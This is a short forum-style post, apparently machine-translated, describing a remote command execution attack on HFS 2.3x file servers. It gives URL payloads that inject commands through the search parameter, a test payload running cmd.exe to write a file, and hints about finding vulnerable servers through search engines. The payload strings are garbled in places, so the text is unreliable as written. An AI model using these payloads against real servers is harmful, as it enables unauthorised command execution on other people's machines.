Hfs 2.3x remote command execution (last day of hacker capture)

What I saw in a forum:
This program is widely used in China, especially those who catch bots.

Http: // localhost: 80 /? Searchpipeline 00000000000000.exe c | cmd .}

Http: // localhost: 80/search00000000000000.exe c | cmd .}

Note: Are there any search versions earlier? .

Test Section:
Baidu search HFS is 2.3x by default. The echo test is successful:
Http: // localhost: 8080 /? Searchpipeline 00000000000000.exe c | cmd.exe % 20/C % 20 echo> C:/1.txt% 20123 .}
Google hack:

The latest official version has been tested.
